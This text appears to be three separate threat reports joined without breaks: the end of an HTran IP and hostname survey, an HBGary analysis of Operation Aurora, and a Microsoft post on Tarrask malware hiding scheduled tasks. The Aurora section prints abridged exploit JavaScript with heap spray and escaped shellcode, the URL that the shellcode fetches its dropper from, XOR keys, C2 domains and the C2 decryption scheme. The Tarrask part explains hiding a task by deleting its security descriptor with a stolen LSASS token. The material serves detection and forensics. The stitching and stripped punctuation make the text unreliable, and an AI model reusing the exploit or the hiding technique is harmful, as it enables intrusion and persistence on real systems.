45a66ae3537488f7d63622ded64461e0 92e28cec1c82f5d82cbd80c64050c5ca ec4d34c742d2d5714c600517f05c2253 112.64.213.249:443 news.billten.net news.scitence.net pop.dnsweb.org techniq.whandjg.net webmail.dcfrr.com webmail.whandjg.net 68.96.31.136 gee.safalife.com ghma.earthsolution.org hav.earthsolution.org java.earthsolution.org quiet.earthsolution.org special.earthsolution.org visual.earthsolution.org vop.earthsolution.org vope.purpledaily.com 3a3bf6cab9702d0835e8425f4e9d7a9c 7cb055ac3acbf53e07e20b65ec9126a1 223.167.5.10:8000 72.167.34.54:443 catalog.earthsolution.org ou2.infosupports.com ou3.infosupports.com ou7.infosupports.com www2.wikaba.com yang1.infosupports.com yang2.infosupports.com 47a76cf2e60960405a492bc7f41b0483 58.247.27.232:443 HTran Survey Results The hostnames in the table were gathered using passive DNS records showing that at one point in time they pointed to the IP address in question.
The hostnames may currently be pointed at different IP addresses than shown, as they are rotated fre- quently.
The domains involved are all known to be connected to a variety of different Advanced Persistent Threat (APT) tro- jans.
In cases where a related sample has been analyzed by Dell SecureWorks CTU, the MD5 hash of the sample is provided.
The survey of HTran traffic shows a clear pattern that can be seen by analyzing the Autonomous System Number (ASN) own- er of each hidden IP address: 17621    112.64.213.249 CNCGROUP-SH China Unicom Shanghai network 17621    112.64.214.174 CNCGROUP-SH China Unicom Shanghai network 17621      112.65.87.58 CNCGROUP-SH China Unicom Shanghai network 4134   121.229.201.158 CHINANET-BACKBONE No.31,Jin-rong Street 4134   121.229.201.238 CHINANET-BACKBONE No.31,Jin-rong Street 4808   123.120.106.136 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 4808    123.120.117.98 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 4808    123.120.126.73 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 4808   123.120.127.146 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 4515   125.215.189.114 ERX-STAR PCCW IMSBiz 60055      223.167.5.10 CNCGROUP-SH China Unicom Shanghai network 60055     223.167.5.250 CNCGROUP-SH China Unicom Shanghai network 60055     223.167.5.254 CNCGROUP-SH China Unicom Shanghai network 17621     58.247.240.91 CNCGROUP-SH China Unicom Shanghai network 17621     58.247.25.108 CNCGROUP-SH China Unicom Shanghai network 17621     58.247.27.232 CNCGROUP-SH China Unicom Shanghai network Autonomous System Owner By HTran IP Address Every hidden IP address observed in the HTran error messages captured during our survey is located on just a few different networks in the Peoples Republic of China (PRC).
In almost every case, the observable C2 is in a different country, most likely the same country in which the victim institution is located.
Its not surprising that hackers using a Chinese hacking tool might be operating from IP addresses in the PRC.
Most of the Chinese destination IPs belong to large ISPs, making further attribution of the hacking activity difficult or impossible without the cooperation of the PRC government.
Conclusion Over the past ten years, we have seen dozens of families of trojans that have been implicated in the theft of documents, email and computer source code from governments, industry and activists.
Typically when hacking or malware traffic is reported on the Internet, the location of the source IP is not a reliable indicator of the true origin of the activity, due to the wide variety of programs designed to tunnel IP traffic through other computers.
However, occasionally we get a chance to peek behind the curtain, either by advanced analysis of the traffic and/or its contents, or due to simple programmer/user error.
This is one of those cases where we were lucky enough to observe a transient event that showed a deliberate attempt to hide the true origin of an APT.
This particular hole in the operational security of a certain group of APT actors may soon be closed, however it is impossible for them to erase the evidence gathered before that time.
It is our hope that every institution potentially impacted by APT activity will make haste to search out signs of this activity for themselves before the window of opportunity closes.
OPERATION AURORA February 10, 2010 Cyber Espionage is a critical issue.
Over 80 of intellectual property is stored online digitally.
The computing infrastructure in a typical Enterprise is more vulnerable to attack than ever before.
Current security solutions are proving ineffective at stopping cyber espionage.
Malware is the single greatest problem in computer security today.
Yet, malware represents only the tip of the spear.
The true threat is the human being who is operating the malware.
This human and the organization represented is the true threat that is targeting information for the purposes of fi nancial gain, theft of state secrets, and theft of intellectual property.
True threat intelligence requires reaching beyond malware infections to identify the individuals, country of origin, and intent of the attacker.
KEY FINDINGS Evidence collected around the malware operation suggest that Operation Aurora is simply an example of highly effective malware penetration.
There is not signifi cant evidence to attribute the operation directly to the Chinese Government.
However, key actors have been identifi ed in association with malware operations that utilize Chinese systems and native language malware.
This has lead to a great deal of speculation about Chinese-State involvement.
It must be noted that a large and thriving underground economy exists to both build and disseminate malware worldwide, and that most of this malware is capable of intellectual property theft.
The malicious hacking underculture is strong in China, as in Eastern Europe and elsewhere, and clearly enmeshed into a global criminal economy of data theft.
While diffi cult to conclude that these activities receive any form of state sponsorship or direction, the malware operation remains a funded and signifi cant risk to intellectual property in the enterprise.
ASPECT DESCRIPTION Target The operation is targeting intellectual property with no specifi c industry focus.
This is an example of not knowing what they are looking for until they fi nd it.
Origin It is highly probable that the malware was developed in native Chinese language, and the operation control system is designed for Chinese users, indicating the entire operation is Chinese.
This does not, however, mean the Chinese Government is using the system.
Developers Forensic tool-marks in the CRC algorithm can be traced to Chinese origin.
That, combined with domain registration information, leads to at least one potential actor, Peng Yongii.
The malware has been in development since at least 2006.
It has been updated several times.
ASPECT DESCRIPTION Operators Operators of the malware appear to use certain domains for CC control.
Dynamic DNS is a key feature of the operation, with many known CC servers operating from domains registered through Peng Yongs 3322.org service.
Intent The primary intent is the theft of intellectual property.
Coms Communication is encrypted over HTTP, port 443, obfuscated with a weak encryption scheme.
The CC servers tend to operate from domains hosted on dynamic DNS.
ATTRIBUTION At this time, there is very little available in terms of attribution.
A CRC algorithm tends to indicate the malware package is of Chinese origin, and many attacks are sourced out of a service called 3322.org  a small company operating out of Changzhou.
The owner is Peng Yong, a Mandarin speaker who may have some programming background with such algorithms.
His dynamic DNS service hosts over 1 million domain names.
Over the last year, HBGary has analyzed thousands of distinct malware samples that communicate with 3322.org.
While Peng Yong is clearly tolerant of cyber crime operating through his domain services, this does not indicate he has any direct involvement with Aurora.
TOOLMARK DESCRIPTION Embedded Resource Language Code United States CRC Algorithm Table of Constants Embedded systems/ Chinese publicationiii DNS registration services Peng Yong, others THREAT SUMMARY The Aurora malware operation was identifi ed recently and made public by Google and McAfee.
This malware operation has been associated with intellectual property theft including source code and technical diagrams (CAD, oil exploration bid-data, etc).
Companies hit have been publically speculated, including Google, Adobe, Yahoo, Symantec, Juniper Networks, Rackspace, Northrop Grumman, and Dow Chemical.
The malware package used with Aurora is mature and been in development since at least 2006.
The Aurora operation is characterized by a remotely operated backdoor program that persists on a Windows computer.
This backdoor program has several capabilities that are outlined below.
2 HB GARY THREAT REPORT: OPERATION AURORA DETECT This section of the report details how you can detect Operation Aurora in your Enterprise.
The exploit and payload vehicle consists of the following components: JavaScript based exploit vector, known to exploit IE 6 Shellcode component, embedded in the JavaScript Secondary payload server that delivers a dropper The dropper itself, which only used once and then deleted The backdoor program which is decompressed from the dropper JAVASCRIPT AND SHELLCODE The JavaScript based attack vector associated with Operation Aurora was published in the public domain in early January 2010.
Microsoft details the vulnerability in Security Bulletin MS10-002.
Internet Explorer 5.01, Internet Explorer 6, Internet Explorer 6 Service Pack 1, Internet Explorer 7, and Internet Explorer 8 (except Internet Explorer 6 for supported editions of Windows Server 2003) are affected.
Exploit code analyzed by HBGary reveals that only Internet Explorer 6 was targeted during Operation Aurora.
This vulnerability can be leveraged by attackers of varying skill levels due to the February 10, 2010 3 JAVASCRIPT EXPLOIT CODE html head script var sc  unescape(u9090u19ebu4b5bu3390u90c9u7b80ue901u0175u66c3u7bb9u8004u0b34ue2d8uebfaue805uf fe2uf f f fu3931ud8 dbu87d8u79bcud8e8ud8d8u9853u53d4uc4a8u5375ud0b0u2f53ud7b2u3081udb59ud8d8u3a48ub020ueaebud8d8u8db0ubdabu 8caau9e53u30d4uda37ud8d8u3053ud9b2u308 SECTION REMOVED FOR SPACE... 8udfa7ufa4auc6a8ubc7cu4b37u3ceau564cud2cbua174u3ee1u1c40uc755u8facud5beu9b27u7466u4003uc8d2u5820u770eu2342 ucd8bub0beuacacue2a8uf7f7ubdbcub7b5uf6e9uacbeub9a8ubbbbuabbduf6abubbbbubcf7ub5bduf7b7ubcb9ub2f6ubfa8u00d8) var sss  Array (826, 679, 798, 224, 770, 427, 819, 770, 707, 805, 693, 679, 784, 707, 280, 238, 259, 819, 336, 693, 336, 700, 259, 819, 336, 693, 336, 700, 238, 287, 413, 224, 833, SECTION REMOVED FOR SPACE... 735, 427, 336, 413, 735, 420, 350, 336, 336, 413, 735, 301, 301, 287, 224, 861, 840, 637, 735, 651, 427, 770, 301, 805, 693, 413, 875) var arr  new Array for (var i  0 i  sss.length i ) arr [ i]  Str ing.fromCharCode (sss [ i] / 7)  var cc  arr.toStr ing () cc  cc.replace (/, /g,  ) cc  cc.replace (//g, ,) eval (cc) var x1  new Array () for (i  0 i  200 i ) x1 [ i]  document.createElement (COMMENT) x1 [ i].data  abc  var e1  null function ev1 (evt)  e1  document.createEventObject (evt) document.getElementById (sp1).innerHTML window.setInterval (ev2, 50)  function ev2 ()  p    \u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u 0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0 d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d for (i  0 i  x1.length i ) x1 [ i].data  p  var t  e1.srcElement  /script /head body span idsp1IMG SRCaaa.gif  onloadev1(event) width16 height16/span /body /html public availability of the Metasploit module ie_aurora.rb.
The exploit code used by the original attackers was quickly improved and added to Metasploit thus greatly expanding the potential number of attackers and reliability of code.
The JavaScript performs a heap spray attack and injects the embedded shellcode described below.
The JavaScript exploits the vulnerability in Internet Explorer by copying, releasing, and then referencing a Document Object Model (DOM) element.
JAVASCRIPT ARTIFACTS PATTERN Initial encrypted dropper download.
Deleted fi le.
C:\appdata\a.exe Decrypted dropper.
Deleted fi le.
C:\appdata\b.exe JavaScript present in Internet Explorer memory space.
code listed above Download URL present in internet history during memory analysis.
http://demo1.ftpaccess.cc/ demo/ad.jpg Other domains associated with Aurora.
sl1.homelinux.org 360.homeunix.com ftp2.homeunix.com update.ourhobby.com blog1.servebeer.com The shellcode exists as a Unicode escaped variable (sc) in the malicious JavaScript listed below.
Upon successful exploitation of Internet Explorer, the shellcode will download an obfuscated second stage executable from http://demo1.
ftpaccess.cc/demo/ad.jpg which is the dropper.
Note: these fi les are specifi c to the sample we analyzed at HBGary, Inc.
The attackers must use a second stage download mechanism to achieve full system access due to memory constraints.
It is unlikely that the fi nal payload could be delivered through the original exploit given these conditions.
The dropper is XOR encrypted with a 0x95 key.
The shellcode copies this encrypted binary to the users AppData directory as a.exe.
The shellcode then decrypts a.exe and moves it to b.exe in the same directory.
Then b.exe is executed.
The following actionable intelligence can be used to identify exploit remnants in the heap space of Internet Explorer post exploitation attempt.
These patterns can be searched for when doing memory analysis of a victim system.
SHELLCODE ARTIFACTS PATTERN Self-decrypting code using a constant XOR value.
80 34 0B D8 80 34 0B D8 Kernel32.dll searching code.
64 A1 30 00 00 00 8B 40 0C 8B 70 1C Push Urlmon string to stack using two push statements.
68 6F 6E 00 00 68 75 72 6C 6D The following SNORT rules have been released by the Emerging Threats project to detected the fi nal payload command and control communications.
Network Detection Signatures alert tcp HOME_NET any - EXTERNAL_NET 443 (msg:ET TROJAN Aurora Backdoor (CC) client connection to CnC fl ow:established,to_ server content:ff ff ff ff ff ff 00 00 fe ff ff ff ff ff ff ff ff ff 88 ff depth:20 fl owbits:set,ET.aurora.init classtype:trojan-activity reference:url,www.trustedsource.org/blog/373/An-Insight-into-the- Aurora-Communication-Protocol reference:url,doc.emergingthreats.
net/2010695 reference:url,www.emergingthreats.net/cgi-bin/cvsweb.
cgi/sigs/VIRUS/TROJAN_Aurora sid:2010695 rev:2) alert tcp EXTERNAL_NET 443 - HOME_NET any (msg:ET TROJAN Aurora Backdoor (CC) connection CnC response fl owbits:isset,ET.
aurora.init fl ow:established,from_server content:cc cc cc cc cd cc cc cc cd cc cc cc cc cc cc cc depth:16 classtype:trojan-activity reference:url,www.trustedsource.org/blog/373/An-Insight-into-the- Aurora-Communication-Protocol reference:url,doc.emergingthreats.
net/2010696 reference:url,www.emergingthreats.net/cgi-bin/cvsweb.
cgi/sigs/VIRUS/TROJAN_Aurora sid:2010696 rev:2) DROPPER The initial dropper is merely a detonation package that decompresses an embedded DLL into the Windows system32 directory and loads it as a service.
The initial dropper is likely to be packed (UPX, etc).
The dropper has an embedded DLL that is decompressed to the windows system32 directory.
This DLL will be named to resemble existing services (rasmon.
dll, etc).
In order to evade forensics, the fi le-time of the dropped DLL will be modifi ed to match that of an existing system DLL (user32.dll, etc).
The dropped DLL is loaded into its own svchost.exe process.
Several registry keys are created and then deleted as part of this process.
Finally, the dropper deletes itself from the system by using a dissolving batch fi le (DFS.BAT, etc).
ACTIONABLE INTELLIGENCE PATTERN Service Key  Value Note: deleted after drop SOFTWARE\Microsoft\Windows NT\ CurrentVersion\SvcHost\ Value: SysIns Data: Ups???
(??
?
are three random chars) Path to backdoor Note: deleted after stage 1 SYSTEM\CurrentControlSet\Services\ Ups??
?\Parameters\ Value: ServiceDLL Data: (full path to the backdoor) Path to backdoor Note: persistent SYSTEM\CurrentControlSet\Services\ RaS??
?\Parameters\ Value: ServiceDLL Data: (full path to the backdoor) 4 HB GARY THREAT REPORT: OPERATION AURORA ACTIONABLE INTELLIGENCE PATTERN Potential variation SYSTEM\CurrentControlSet\Services\ RaS??
?\Parameters\ Value: ServiceDLL Data: temp\c_.nls (where is a number) Potential variation SYSTEM\CurrentControlSet\Services\ RaS??
?\Parameters\ Value: ServiceDLL Data: temp\c_1758.nls PAYLOAD The payload uses two-stage installation.
During stage one, the dropper will install the payload as a service running under the name Ups???
(
where ??
?
are three random characters).
Once executing, the payload will immediately delete the fi rst service and enter stage-two.
During stage-two, the payload will register a new, second service under the name RaS???
(
where ??
?
are three random characters).
This new service will point to the same backdoor DLL, no new fi les are involved.
Note: the three character prefi xes Ups and RaS can easily be modifi ed by the attacker.
Once the new service is registered, the payload will access an embedded resource that is encrypted.
The decryption goes through several phases.
The encrypted data block contains the DNS name for the command and control server (homeunix.
com, etc).
This data block is confi gurable before the malware is deployed.
The data block length is hard-coded (0x150 or 336 bytes).
During phase one, this data block is fed through a simple XOR (0x99), resulting in an ASCII-string.
Next, the resulting ASCII-string is fed into a base64 decoding function, producing a binary string.
Finally, the resulting base64 decoded binary string is fed through another XOR (0xAB), resulting in clear-text.
The three primary encryption loops are colored and marked in Figure 1.
The resulting clear-text buffer contains several fi elds in both ASCII and UNICODE, including the CC server address.
GLANCE UNDER THE HOOD buffer after phase one XOR: mJ2bhcPExs7excLThcjExqurnauYq buffer after base64 decoding:  Figure 1.
Base64 and XOR Encryption Scheme February 10, 2010 5 ACTIONABLE INTELLIGENCE PATTERN CC Server DNS  .homeunix.com (where  is any subdomain) .homelinux.com .ourhobby.com .3322.org .2288.org .8866.org .ath.cx .33iqst.com .dyndns.org .linode.com .ftpaccess.cc .fi loups.info .blogsite.org The payload will create additional registry keys.
ACTIONABLE INTELLIGENCE PATTERN Additional Key HKLM\Software\Sun\1.1.2\IsoTp Additional Key HKLM\Software\Sun\1.1.2\AppleTlk Other potential dropped fi les, as reported by McAfee: ACTIONABLE INTELLIGENCE PATTERN Additional File securmon.dll Additional File AppMgmt.dll Additional File A0029670.dll (A00.dll) Additional File msconfi g32.sys Additional File VedioDriver.dll Additional File acelpvc.dll Additional File wuauclt.exe Additional File jucheck.exe Additional File AdobeUpdateManager.exe Additional File zf32.dll COMMAND AND CONTROL The payload communicates with its command and control server over port 443.
The source port is randomly selected.
While outbound traffi c appears to be HTTPS, the actual traffi c uses a weak custom encryption scheme.
The command and control packets have a very specifi c format.iv command parms 0x00000001 payload len CRC KEY payload The payload section is encrypted with a key selected by using GetTickCount.
This means each infected node has its own key.
The key is embedded in the header of the packet, and is easily recovered.
DIAGNOSE HOW THE MALWARE WORKS The primary control logic can be found in the module registered under the service key (rasmon.dll, etc.
).
This module has been written in c and includes several specifi c methods and encodings that provide forensic track-ability.
The above screenshot illustrates a REcon trace on the malware dropper and subsequent service creation.
Location A. represents the dropper program, which unpacks itself and decompresses a fi le to the system32 directory.
Point B. represents the initial svchost.exe startup, which is loading the malware payload.
Location C. is the actual execution of the malware service, which remains persistent.
At points E. and F. you can see the malware checking in with the command and control server.
Finally, location D. represents the dissolvable batch fi le which deletes the initial dropper and then itself.
CAPABILITY The malware has generic and fl exible capabilities.
There are distinct command handlers in the malware that allow fi les to be stolen and remote commands to be executed.
The command handler is illustrated in Figure 2.
At location A. the command number is checked.
At locations marked B. are each individual command handler, as controlled by the CC server and command 6 HB GARY THREAT REPORT: OPERATION AURORA number in the CC packet.
Location C. is where the result of each command is sent back to the CC server.
Figure 2.
CC Command Parser COPYCATS AND VARIANTS With the release of MS10-002, and the subsequent integration with Metasploit, the exploit vector used with Aurora has been adopted laterally within the malware development economy.
Therefore, the use of MS10-002 should not be construed as an Aurora infection without further analysis of the dropped payload.
Forensic toolmarks and link analysis have revealed several different threat groups who are employing common IE exploit vectors.
HBGary is currently tracking several groups who operate malware systems of this nature.
HBGary is using forensic toolmarks to trace the source code origins of binary malware samples dropped in conjunction with the MS10-002 exploit vector.
For example, in Figure 3, link analysis is being used to track the identity of a threat actor in conjunction with his known Digital DNA.
HBGarys Digital DNA database not only codifi es the behavior of software, but also the coding idioms, algorithms, and methods of individual developers.
In this way, individual threat actors can be tracked with Digital DNA.
In the example, link analysis is provided by Palantir.
The screenshot illustrates only a subset of the data being tracked by HBGary, and sensitive information has been redacted.
At location 1.
is a dropper obtained from an exploit server directly accessed from the extracted shellcode from a MS10- 002 JavaScript vector.
Location 2.
represents a forensic toolmark within the dropped executable.
This toolmark was obtained using physical memory assessment of the live executable, after it was allowed to unpack itself in a virtual machine.
This assessment was performed with HBGary Responder.
At location 3.,
the recovered toolmark(s) were researched against published source code artifacts on the Internet.
From this, a single posting was discovered with this exact toolmark, and this posting exists only in one place and is of Chinese origin.
From this, the author of the source code was determined to be XXXXXXXX.
At location 4.,
all social cyberspaces used by XXXXXXX were then enumerated.
From this, postings in Traditional and Simplifi ed Chinese were discovered that confi rm that XXXXXX is the author and supplier of a malware package known as NB or Netbot Attacker.
Within the social space around Netbot Attacker are individuals who are testing and/or asking for technical support regarding the malware package operation.
These individuals have been grouped within Palantir as technical support for bot at location 5.
Figure 3.
Link Analysis of Malware Actors using Palantir The above process, when carried further, produces many more social links.
Attribution such as this allows resolution and visibility into the intent of individual threat groups.
February 10, 2010 7 RESPOND Several Enterprise products have the capability to scan for and potentially remove the Aurora malware.
Detection of the malware is covered in detail, from multiple aspects, in the Detect section above.
When using a Digital DNA capable platform such as McAfee ePO, you can search the Enterprise for the following Digital DNA sequence (recommend a tight match, 90 or higher).
DIGITAL DNA SEQUENCE FOR AURORA MALWARE 01 B4 EE 00 AE DA 00 8C 16 00 89 22 00 46 73 00 C6 49 00 0B AE 01 E7 9F 04 05 81 01 0E DF 01 79 D8 00 25 6A 00 15 49 00 47 22 00 4B 67 0F 2D CC 01 29 67 01 35 99 To thwart command and control and prevent data loss, known CC domains should be blocked at the egress fi rewall.
The domains listed in the Detect section represent a signifi cant set of those currently known to be operating.
IDS signatures similar to the one illustrated in the Detect section should be used to detect inbound exploit attempts, and machines accepting this data should be scanned for potential infections.
Many A/V products now contain signatures for the Aurora exploit and will be effective in detection and removal.
However, the attackers that represent the threat will not be deterred, and variants of the attack are nearly assured.
FACTORS DESCRIPTION CC protocol If a variant is developed, it will very likely use the same CC protocol, but may change the header of the packet and the constants used for connection setup.
This will evade IDS / Firewall rules designed to detect the current scheme.
It is unlikely the attackers will change the encryption setup, however.
Installation and Deployment The method used to install the service is highly effective.
Although the fi lenames will likely change, the actual method will likely remain.
INOCULATION DIGITAL DNA INOCULATION SHOT HBGary has prepared an inoculation shot for this malware.
The inoculation shot is a small, signed binary that will allow you to scan for, and optionally remove, this malware from your Enterprise network.
The aurora innoculation shot can be downloaded from www.hbgary.com.
When the aurora innoculation shot is executed it will query the user for authentication credentials.
Optionally the user can just hit cancel to  use the currently logged on USERs authentication token.
Some sample usages are listed below.
To scan a single machine: AuroraInnoculation.exe -scan 192.168.0.1 AuroraInnoculation.exe -scan MYBOXNAME To scan multiple machines: AuroraInnoculation.exe -range 192.168.0.1 192.168.0.254 To automatically attempt a clean operation: AuroraInnoculation.exe -range 192.168.0.1 192.168.0.254 -clean To scan a list of machines in a .txt fi le: AuroraInnoculation.exe -list targets.txt MCAFEE EPO CUSTOMERS DETECTION OF AURORA THREATS WITH DIGITAL DNA FOR EPO Customers of McAfee ePolicy Orchastrator, integrated with Digital DNA, can detect emerging advanced persistent threats.
To detect Aurora, users should perform a Digital DNA Sequence search with the above mentioned sequence for Aurora, and set a fuzzy match of 90 or greater.
Once machines are detected, the user is encouraged to use the freely available inoculation shot to remove the infection.
8 HB GARY THREAT REPORT: OPERATION AURORA MORE INFORMATION ABOUT HBGARY, INC HBGary, Inc is  the leading provider of solutions to detect, diagnose and respond to advance malware threats in a thorough and forensically sound manner.
We provide the active intelligence that is critical to understanding the intent of the threat, the traits associated with the malware and information that will help make your existing investment in your security infrastructure more valuable.
Web: www.hbgary.com Corporate Address: 3604 Fair Oaks Blvd Suite 250 Sacramento, CA 95762 Phone:  916-459-4727 Fax 916-481-1460 Saleshbgary.com REFERENCES i http://siblog.mcafee.com/cto/operation-E2809CauroraE2809D- hit-google-others/ ii http://www.thetechherald.com/article.php/201004/ 5151/Was-Operation-Aurora-nothing-more-than-a-conventional-attack iii http://www.fjbmcu.com/chengxu/crcsuan.htm (via: http://www.secureworks.com/research/blog/index.php/2010/01/20/ operation-aurora-clues-in-the-code/) iv http://www.avertlabs.com/research/blog/index.php/2010/01/18/an- insight-into-the-aurora- communication-protocol/ v http://www.symantec.com/connect/blogs/trojanhydraq-incident-analysis- aurora-0-day-exploit CORPORATE OFFICE 3604 Fair Oaks Blvd.
Ste.
250 Sacramento, CA 95864 916.459.4727 Phone CONTACT INFORMATION infohbgary.com supporthbgary.com www.hbgary.com
1/7 April 12, 2022 Tarrask malware uses scheduled tasks for defense evasion microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion As Microsoft continues to track the high-priority state-sponsored threat actor HAFNIUM, new activity has been uncovered that leverages unpatched zero-day vulnerabilities as initial vectors.
The Microsoft Detection and Response Team (DART) in collaboration with the Microsoft Threat Intelligence Center (MSTIC) identified a multi-stage attack targeting the Zoho Manage Engine Rest API authentication bypass vulnerability to initially implant a Godzilla web shell with similar properties detailed by the Unit42 team in a previous blog.
Microsoft observed HAFNIUM from August 2021 to February 2022, target those in the telecommunication, internet service provider and data services sector, expanding on targeted sectors observed from their earlier operations conducted in Spring 2021.
Further investigation reveals forensic artifacts of the usage of Impacket tooling for lateral movement and execution and the discovery of a defense evasion malware called Tarrask that creates hidden scheduled tasks, and subsequent actions to remove the task attributes, to conceal the scheduled tasks from traditional means of identification.
The blog outlines the simplicity of the malware technique Tarrask uses, while highlighting that scheduled task abuse is a very common method of persistence and defense evasionand an enticing one, at that.
In this post, we will demonstrate how threat actors create scheduled tasks, how they cover their tracks, how the malwares evasion techniques are used to maintain and ensure persistence on systems, and how to protect against this tactic.
Right on schedule: Maintaining persistence via scheduled tasks Windows Task Scheduler is a service that allows users to perform automated tasks (scheduled tasks) on a chosen computer for legitimate administrative purposes (e.g., scheduled updates for browsers and other applications).
Throughout the course of our research, weve found that threat actors commonly make use of this service to maintain persistence within a Windows environment.
Weve noted that the Tarrask malware generates several artifacts upon the creation of a scheduled task, whether using the Task Scheduler GUI or the schtasks command line utility.
Profiling the use of either of these tools can aid investigators in tracking this persistence mechanism.
The following registry keys are created upon creation of a new task: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\TASK_NAME HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\ GUID https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/ https://blogs.microsoft.com/on-the-issues/2021/03/02/new-nation-state-cyberattacks/ https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/ https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/ https://docs.microsoft.com/windows-server/administration/windows-commands/schtasks 2/7 Figure 1.
Tarrask malware creates new registry keys along with the creation of new scheduled tasks The first subkey, created within the Tree path, matches the name of the scheduled task.
The values created within it (Id, Index, and SD) contain metadata for task registration within the system.
The second subkey, created within the Tasks path, is a GUID mapping to the Id value found in the Tree key.
The values created within (Actions, Path, Triggers, etc.)
contain the basic parameters necessary to facilitate execution of the task.
To demonstrate the value in the artifacts generated, shown in the following figures, we have created My Special Task which is set to execute the binary C:\Windows\System32\calc.exe on a regular interval.
3/7 Figure 2.
XML file matches name of the task Similar information is also stored within an extensionless XML file created within C:\Windows\System32\Tasks, where the name of the file matches the name of the task.
This is displayed in Figure 2, where we name the task My Special Task as an example.
4/7 Figure 3.
Extensionless XML file Note that the Actions value stored within the Tasks\GUID key points to the command line associated with the task.
In Figure 2, there is a reference to C:\Windows\System32\calc.exe within the Edit Binary Value dialog, and there is a path referenced within the Command section in the extensionless XML file in Figure 3.
The fact that this value is stored within two different locations can prove useful in recovering information regarding the tasks purpose in the event the threat actor has taken steps to cover their tracks.
Finally, there are two Windows event logs that record actions related to the creation and operation of Scheduled Tasks Event ID 4698 within the Security.evtx log, and the Microsoft-Windows-TaskScheduler/Operational.evtx log.
5/7 Neither of these are audited by default and must be explicitly turned on by an administrator.
Microsoft-Windows- TaskScheduler/Maintenance.evtx will exist by default, but only contains maintenance-related information for the Task Scheduler engine.
Effectively hiding scheduled tasks In this scenario, the threat actor created a scheduled task named WinUpdate via HackTool:Win64/Tarrask in order to re-establish any dropped connections to their command and control (CC) infrastructure.
This resulted in the creation of the registry keys and values described in the earlier section, however, the threat actor deleted the SD value within the Tree registry path.
Figure 4.
Deletion of the security descriptor (SD) value In this context, SD refers to the Security Descriptor, which determines the users allowed to run the task.
Interestingly, removal of this value results in the task disappearing from schtasks /query and Task Scheduler.
The task is effectively hidden unless an examiner manually inspects the aforementioned registry paths.
Issuing a reg delete command to delete the SD value will result in an Access Denied error even when run from an elevated command prompt.
Deletion must occur within the context of the SYSTEM user.
It is for this reason that the Tarrask malware utilized token theft to obtain the security permissions associated with the lsass.exe process.
Upon execution of the token theft, the malware could operate with the same privileges as LSASS, making the deletion possible.
Figure 5.
Successful deletion of SD in Command Prompt It is also important to note that the threat actor could have chosen to completely remove the two registry keys within Tree and Tasks, and the XML file created within C:\Windows\System32\Tasks.
This would effectively remove the on- disk artifacts associated with the scheduled task, but the task would continue to run according to the defined triggers until the system rebooted, or until the associated svchost.exe process responsible for executing the task was terminated.
Its possible the threat actor wanted to ensure persistence across reboots and therefore chose not to perform those steps, instead deleting only the SD value however, we also speculate that the threat actor was unaware that the task would continue to run even after these components were removed.
Recommendations and cyber resilience guidance Job or task schedulers are services that have been present in the Windows operating system for many years.
The attacks we described signify how the threat actor HAFNIUM displays a unique understanding of the Windows subsystem and uses this expertise to mask activities on targeted endpoints to maintain persistence on affected systems and hide in plain 6/7 sight.
As such, we recognize that scheduled tasks are an effective tool for adversaries to automate certain tasks while achieving persistence, which brings us to raising awareness about this oft-overlooked technique.
We also want to bring attention to the fact that threat actors may utilize this method of evasion to maintain access to high value targets in a manner that will likely remain undetected.
This could be especially problematic for systems that are infrequently rebooted (e.g., critical systems such as domain controllers, database servers, etc.
).
The techniques used by the actor and described in this post can be mitigated or detected by adopting the following recommendations and security guidelines : Enumerate your Windows environment registry hives looking in the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree registry hive and identify any scheduled tasks without SD (security descriptor) Value within the Task Key.
Perform analysis on these tasks as needed.
Modify your audit policy to identify Scheduled Tasks actions by enabling logging TaskOperational within Microsoft-Windows-TaskScheduler/Operational.
Apply the recommended Microsoft audit policy settings suitable to your environment.
Enable and centralize the following Task Scheduler logs.
Even if the tasks are hidden, these logs track key events relating to them that could lead you to discovering a well-hidden persistence mechanism Event ID 4698 within the Security.evtx log Microsoft-Windows-TaskScheduler/Operational.evtx log The threat actors in this campaign used hidden scheduled tasks to maintain access to critical assets exposed to the internet by regularly re-establishing outbound communications with CC infrastructure.
Remain vigilant and monitor uncommon behavior of your outbound communications by ensuring that monitoring and alerting for these connections from these critical Tier 0 and Tier 1 assets is in place.
Indicators of compromise (IOCs) The following list provides IOCs observed during our investigation.
We encourage customers to investigate these indicators in their environments and implement detections and protections to identify past related activity and prevent future attacks against their systems.
